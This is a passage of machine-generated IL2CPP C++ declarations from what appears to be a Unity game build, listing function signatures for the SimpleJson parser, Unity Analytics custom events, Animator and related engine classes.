___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.Generic.IDictionary`2 SimpleJson.SimpleJson::ParseObject(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject* SimpleJson_ParseObject_m2464058880 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.JsonArray SimpleJson.SimpleJson::ParseArray(System.Char[],System.Int32&,System.Boolean&) extern "C" JsonArray_t1679500587 * SimpleJson_ParseArray_m3513734753 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.SimpleJson::EatWhitespace(System.Char[],System.Int32&) extern "C" void SimpleJson_EatWhitespace_m481181633 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Text.StringBuilder System.Text.StringBuilder::Append(System.Char) extern "C" StringBuilder_t1221177846 * StringBuilder_Append_m3618697540 (StringBuilder_t1221177846 * __this, Il2CppChar p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::CreateString(System.Char[],System.Int32,System.Int32) extern "C" String_t* String_CreateString_m2448464375 (String_t* __this, CharU5BU5D_t1328083999* ___val0, int32_t ___startIndex1, int32_t ___length2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.UInt32::TryParse(System.String,System.Globalization.NumberStyles,System.IFormatProvider,System.UInt32&) extern "C" bool UInt32_TryParse_m3987111861 (Il2CppObject * __this /* static, unused */, String_t* p0, int32_t p1, Il2CppObject * p2, uint32_t* p3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.String::op_Equality(System.String,System.String) extern "C" bool String_op_Equality_m1790663636 (Il2CppObject * __this /* static, unused */, String_t* p0, String_t* p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String SimpleJson.SimpleJson::ConvertFromUtf32(System.Int32) extern "C" String_t* SimpleJson_ConvertFromUtf32_m799444971 (Il2CppObject * __this /* static, unused */, int32_t ___utf320, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Text.StringBuilder System.Text.StringBuilder::Append(System.String) extern "C" StringBuilder_t1221177846 * StringBuilder_Append_m3636508479 (StringBuilder_t1221177846 * __this, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.ArgumentOutOfRangeException::.ctor(System.String,System.String) extern "C" void ArgumentOutOfRangeException__ctor_m4234257711 (ArgumentOutOfRangeException_t279959794 * __this, String_t* p0, String_t* p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::CreateString(System.Char,System.Int32) extern "C" String_t* String_CreateString_m2556700934 (String_t* __this, Il2CppChar ___c0, int32_t ___count1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::CreateString(System.Char[]) extern "C" String_t* String_CreateString_m3818307083 (String_t* __this, CharU5BU5D_t1328083999* ___val0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 SimpleJson.SimpleJson::GetLastIndexOfNumber(System.Char[],System.Int32) extern "C" int32_t SimpleJson_GetLastIndexOfNumber_m3446027218 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t ___index1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.String::IndexOf(System.String,System.StringComparison) extern "C" int32_t String_IndexOf_m570401060 (String_t* __this, String_t* p0, int32_t p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Double::TryParse(System.String,System.Globalization.NumberStyles,System.IFormatProvider,System.Double&) extern "C" bool Double_TryParse_m815528105 (Il2CppObject * __this /* static, unused */, String_t* p0, int32_t p1, Il2CppObject * p2, double* p3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Int64::TryParse(System.String,System.Globalization.NumberStyles,System.IFormatProvider,System.Int64&) extern "C" bool Int64_TryParse_m3093198325 (Il2CppObject * __this /* static, unused */, String_t* p0, int32_t p1, Il2CppObject * p2, int64_t* p3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.String::IndexOf(System.Char) extern "C" int32_t String_IndexOf_m2358239236 (String_t* __this, Il2CppChar p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::SerializeString(System.String,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeString_m1750369917 (Il2CppObject * __this /* static, unused */, String_t* ___aString0, StringBuilder_t1221177846 * ___builder1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::SerializeObject(SimpleJson.IJsonSerializerStrategy,System.Collections.IEnumerable,System.Collections.IEnumerable,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeObject_m3504199269 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___keys1, Il2CppObject * ___values2, StringBuilder_t1221177846 * ___builder3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::SerializeArray(SimpleJson.IJsonSerializerStrategy,System.Collections.IEnumerable,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeArray_m779157756 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___jsonSerializerStrategy0, Il2CppObject * ___anArray1, StringBuilder_t1221177846 * ___builder2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::IsNumeric(System.Object) extern "C" bool SimpleJson_IsNumeric_m810085359 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean SimpleJson.SimpleJson::SerializeNumber(System.Object,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeNumber_m1195210771 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___number0, StringBuilder_t1221177846 * ___builder1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Int64::ToString(System.IFormatProvider) extern "C" String_t* Int64_ToString_m1275187741 (int64_t* __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.UInt64::ToString(System.IFormatProvider) extern "C" String_t* UInt64_ToString_m2892887310 (uint64_t* __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Int32::ToString(System.IFormatProvider) extern "C" String_t* Int32_ToString_m526790770 (int32_t* __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.UInt32::ToString(System.IFormatProvider) extern "C" String_t* UInt32_ToString_m3894907091 (uint32_t* __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Decimal::ToString(System.IFormatProvider) extern "C" String_t* Decimal_ToString_m752193835 (Decimal_t724701077 * __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Single::ToString(System.IFormatProvider) extern "C" String_t* Single_ToString_m1229799376 (float* __this, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.Double::ToString(System.String,System.IFormatProvider) extern "C" String_t* Double_ToString_m1474956491 (double* __this, String_t* p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // SimpleJson.PocoJsonSerializerStrategy SimpleJson.SimpleJson::get_PocoJsonSerializerStrategy() extern "C" PocoJsonSerializerStrategy_t2810850750 * SimpleJson_get_PocoJsonSerializerStrategy_m3655250970 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void SimpleJson.PocoJsonSerializerStrategy::.ctor() extern "C" void PocoJsonSerializerStrategy__ctor_m679193024 (PocoJsonSerializerStrategy_t2810850750 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Attribute::.ctor() extern "C" void Attribute__ctor_m1730479323 (Attribute_t542643598 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::.ctor() extern "C" void UnityAnalyticsHandler__ctor_m113083880 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.String::IsNullOrEmpty(System.String) extern "C" bool String_IsNullOrEmpty_m2802126737 (Il2CppObject * __this /* static, unused */, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.ArgumentException::.ctor(System.String) extern "C" void ArgumentException__ctor_m3739475201 (ArgumentException_t3259014390 * __this, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Analytics.UnityAnalyticsHandler UnityEngine.Analytics.Analytics::GetUnityAnalyticsHandler() extern "C" UnityAnalyticsHandler_t3238795095 * Analytics_GetUnityAnalyticsHandler_m832551809 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::CustomEvent(System.String) extern "C" int32_t UnityAnalyticsHandler_CustomEvent_m1069747280 (UnityAnalyticsHandler_t3238795095 * __this, String_t* ___customEventName0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.CustomEventData::.ctor(System.String) extern "C" void CustomEventData__ctor_m4236192358 (CustomEventData_t1269126727 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.Collections.Generic.IDictionary`2) extern "C" bool CustomEventData_Add_m952171437 (CustomEventData_t1269126727 * __this, Il2CppObject* ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::CustomEvent(UnityEngine.Analytics.CustomEventData) extern "C" int32_t UnityAnalyticsHandler_CustomEvent_m2884790978 (UnityAnalyticsHandler_t3238795095 * __this, CustomEventData_t1269126727 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.CustomEventData::InternalCreate(System.String) extern "C" void CustomEventData_InternalCreate_m4162294919 (CustomEventData_t1269126727 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.CustomEventData::InternalDestroy() extern "C" void CustomEventData_InternalDestroy_m3801708051 (CustomEventData_t1269126727 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Object::Finalize() extern "C" void Object_Finalize_m4087144328 (Il2CppObject * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.GC::SuppressFinalize(System.Object) extern "C" void GC_SuppressFinalize_m953228702 (Il2CppObject * __this /* static, unused */, Il2CppObject * p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddString(System.String,System.String) extern "C" bool CustomEventData_AddString_m2914790600 (CustomEventData_t1269126727 * __this, String_t* ___key0, String_t* ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddBool(System.String,System.Boolean) extern "C" bool CustomEventData_AddBool_m3257352582 (CustomEventData_t1269126727 * __this, String_t* ___key0, bool ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddChar(System.String,System.Char) extern "C" bool CustomEventData_AddChar_m1103619816 (CustomEventData_t1269126727 * __this, String_t* ___key0, Il2CppChar ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddByte(System.String,System.Byte) extern "C" bool CustomEventData_AddByte_m2648511336 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint8_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddSByte(System.String,System.SByte) extern "C" bool CustomEventData_AddSByte_m3798689096 (CustomEventData_t1269126727 * __this, String_t* ___key0, int8_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt16(System.String,System.Int16) extern "C" bool CustomEventData_AddInt16_m2081638138 (CustomEventData_t1269126727 * __this, String_t* ___key0, int16_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt16(System.String,System.UInt16) extern "C" bool CustomEventData_AddUInt16_m3349298376 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint16_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt32(System.String,System.Int32) extern "C" bool CustomEventData_AddInt32_m103138778 (CustomEventData_t1269126727 * __this, String_t* ___key0, int32_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt32(System.String,System.UInt32) extern "C" bool CustomEventData_AddUInt32_m157912008 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint32_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt64(System.String,System.Int64) extern "C" bool CustomEventData_AddInt64_m1803231272 (CustomEventData_t1269126727 * __this, String_t* ___key0, int64_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt64(System.String,System.UInt64) extern "C" bool CustomEventData_AddUInt64_m1437973832 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint64_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Decimal System.Convert::ToDecimal(System.Single) extern "C" Decimal_t724701077 Convert_ToDecimal_m2007036836 (Il2CppObject * __this /* static, unused */, float p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Double System.Decimal::op_Explicit(System.Decimal) extern "C" double Decimal_op_Explicit_m16014099 (Il2CppObject * __this /* static, unused */, Decimal_t724701077 p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::AddDouble(System.String,System.Double) extern "C" bool CustomEventData_AddDouble_m3184570568 (CustomEventData_t1269126727 * __this, String_t* ___key0, double ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Decimal System.Convert::ToDecimal(System.Decimal) extern "C" Decimal_t724701077 Convert_ToDecimal_m2889188811 (Il2CppObject * __this /* static, unused */, Decimal_t724701077 p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.String) extern "C" bool CustomEventData_Add_m1857875967 (CustomEventData_t1269126727 * __this, String_t* ___key0, String_t* ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Char) extern "C" bool CustomEventData_Add_m3828492920 (CustomEventData_t1269126727 * __this, String_t* ___key0, Il2CppChar ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.SByte) extern "C" bool CustomEventData_Add_m3626608495 (CustomEventData_t1269126727 * __this, String_t* ___key0, int8_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Byte) extern "C" bool CustomEventData_Add_m911651774 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint8_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int16) extern "C" bool CustomEventData_Add_m2190835956 (CustomEventData_t1269126727 * __this, String_t* ___key0, int16_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt16) extern "C" bool CustomEventData_Add_m550009887 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint16_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int32) extern "C" bool CustomEventData_Add_m4160204358 (CustomEventData_t1269126727 * __this, String_t* ___key0, int32_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt32) extern "C" bool CustomEventData_Add_m832334893 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint32_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int64) extern "C" bool CustomEventData_Add_m1028036439 (CustomEventData_t1269126727 * __this, String_t* ___key0, int64_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt64) extern "C" bool CustomEventData_Add_m1255822390 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint64_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Boolean) extern "C" bool CustomEventData_Add_m4139356558 (CustomEventData_t1269126727 * __this, String_t* ___key0, bool ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Single) extern "C" bool CustomEventData_Add_m881214524 (CustomEventData_t1269126727 * __this, String_t* ___key0, float ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Double) extern "C" bool CustomEventData_Add_m116429095 (CustomEventData_t1269126727 * __this, String_t* ___key0, double ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Decimal) extern "C" bool CustomEventData_Add_m849445705 (CustomEventData_t1269126727 * __this, String_t* ___key0, Decimal_t724701077 ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Type::get_IsValueType() extern "C" bool Type_get_IsValueType_m1733572463 (Type_t * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::Format(System.String,System.Object) extern "C" String_t* String_Format_m2024975688 (Il2CppObject * __this /* static, unused */, String_t* p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::InternalCreate() extern "C" void UnityAnalyticsHandler_InternalCreate_m2198599331 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::InternalDestroy() extern "C" void UnityAnalyticsHandler_InternalDestroy_m485611477 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEventName(System.String) extern "C" int32_t UnityAnalyticsHandler_SendCustomEventName_m558081333 (UnityAnalyticsHandler_t3238795095 * __this, String_t* ___customEventName0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEvent(UnityEngine.Analytics.CustomEventData) extern "C" int32_t UnityAnalyticsHandler_SendCustomEvent_m375646568 (UnityAnalyticsHandler_t3238795095 * __this, CustomEventData_t1269126727 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AnimationCurve::Init(UnityEngine.Keyframe[]) extern "C" void AnimationCurve_Init_m1486386337 (AnimationCurve_t3306541151 * __this, KeyframeU5BU5D_t449065829* ___keys0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AnimationCurve::Cleanup() extern "C" void AnimationCurve_Cleanup_m2190142678 (AnimationCurve_t3306541151 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimationEvent::get_isFiredByLegacy() extern "C" bool AnimationEvent_get_isFiredByLegacy_m2585487710 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Debug::LogError(System.Object) extern "C" void Debug_LogError_m3715728798 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimationEvent::get_isFiredByAnimator() extern "C" bool AnimationEvent_get_isFiredByAnimator_m3399078288 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.AnimationEvent::get_functionName() extern "C" String_t* AnimationEvent_get_functionName_m4178006856 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimationEvent::get_time() extern "C" float AnimationEvent_get_time_m2837507241 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.Single::GetHashCode() extern "C" int32_t Single_GetHashCode_m3102305584 (float* __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.Animator::GetFloatID(System.Int32) extern "C" float Animator_GetFloatID_m2459156264 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::SetFloatID(System.Int32,System.Single) extern "C" void Animator_SetFloatID_m315788701 (Animator_t69676727 * __this, int32_t ___id0, float ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Animator::GetBoolID(System.Int32) extern "C" bool Animator_GetBoolID_m618935642 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::SetBoolID(System.Int32,System.Boolean) extern "C" void Animator_SetBoolID_m1875705373 (Animator_t69676727 * __this, int32_t ___id0, bool ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Animator::GetIntegerID(System.Int32) extern "C" int32_t Animator_GetIntegerID_m224950522 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::SetIntegerID(System.Int32,System.Int32) extern "C" void Animator_SetIntegerID_m1279848667 (Animator_t69676727 * __this, int32_t ___id0, int32_t ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::SetTriggerString(System.String) extern "C" void Animator_SetTriggerString_m2002790359 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::SetTriggerID(System.Int32) extern "C" void Animator_SetTriggerID_m75277672 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Animator::ResetTriggerString(System.String) extern "C" void Animator_ResetTriggerString_m1445965342 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Animator::StringToHash(System.String) extern "C" int32_t Animator_StringToHash_m3313850714 (Il2CppObject * __this /* static, unused */, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.AnimatorControllerParameter::get_name() extern "C" String_t* AnimatorControllerParameter_get_name_m1366583724 (AnimatorControllerParameter_t1381019216 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorStateInfo::IsName(System.String) extern "C" bool AnimatorStateInfo_IsName_m4069203550 (AnimatorStateInfo_t2577870592 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorStateInfo::get_fullPathHash() extern "C" int32_t AnimatorStateInfo_get_fullPathHash_m3941998936 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorStateInfo::get_nameHash() extern "C" int32_t AnimatorStateInfo_get_nameHash_m1703033713 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorStateInfo::get_shortNameHash() extern "C" int32_t AnimatorStateInfo_get_shortNameHash_m3915898263 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimatorStateInfo::get_normalizedTime() extern "C" float AnimatorStateInfo_get_normalizedTime_m1330221276 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimatorStateInfo::get_length() extern "C" float AnimatorStateInfo_get_length_m3151009408 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimatorStateInfo::get_speed() extern "C" float AnimatorStateInfo_get_speed_m3265333371 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimatorStateInfo::get_speedMultiplier() extern "C" float AnimatorStateInfo_get_speedMultiplier_m3451382250 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorStateInfo::get_tagHash() extern "C" int32_t AnimatorStateInfo_get_tagHash_m1559842952 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorStateInfo::IsTag(System.String) extern "C" bool AnimatorStateInfo_IsTag_m1529621725 (AnimatorStateInfo_t2577870592 * __this, String_t* ___tag0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorStateInfo::get_loop() extern "C" bool AnimatorStateInfo_get_loop_m765573376 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorTransitionInfo::IsName(System.String) extern "C" bool AnimatorTransitionInfo_IsName_m2561957738 (AnimatorTransitionInfo_t2410896200 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorTransitionInfo::IsUserName(System.String) extern "C" bool AnimatorTransitionInfo_IsUserName_m3771933881 (AnimatorTransitionInfo_t2410896200 * __this, String_t* ___name0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorTransitionInfo::get_fullPathHash() extern "C" int32_t AnimatorTransitionInfo_get_fullPathHash_m2689544352 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorTransitionInfo::get_nameHash() extern "C" int32_t AnimatorTransitionInfo_get_nameHash_m460043277 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.AnimatorTransitionInfo::get_userNameHash() extern "C" int32_t AnimatorTransitionInfo_get_userNameHash_m971244190 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.AnimatorTransitionInfo::get_normalizedTime() extern "C" float AnimatorTransitionInfo_get_normalizedTime_m2741999844 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorTransitionInfo::get_anyState() extern "C" bool AnimatorTransitionInfo_get_anyState_m3474272231 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorTransitionInfo::get_entry() extern "C" bool AnimatorTransitionInfo_get_entry_m1140118520 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.AnimatorTransitionInfo::get_exit() extern "C" bool AnimatorTransitionInfo_get_exit_m3018502934 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Application/LowMemoryCallback::Invoke() extern "C" void LowMemoryCallback_Invoke_m3371329310 (LowMemoryCallback_t642977590 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Application/LogCallback::Invoke(System.String,System.String,UnityEngine.LogType) extern "C" void LogCallback_Invoke_m3921378796 (LogCallback_t1867914413 * __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AsyncOperation::.ctor() extern "C" void AsyncOperation__ctor_m2914860946 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.YieldInstruction::.ctor() extern "C" void YieldInstruction__ctor_m2014522928 (YieldInstruction_t3462875981 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AsyncOperation::InternalDestroy() extern "C" void AsyncOperation_InternalDestroy_m3312061823 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.Stack`1::.ctor() #define Stack_1__ctor_m1240888107(__this, method) (( void (*) (Stack_1_t2391531380 *, const MethodInfo*))Stack_1__ctor_m1041657164_gshared)(__this, method) // System.Void 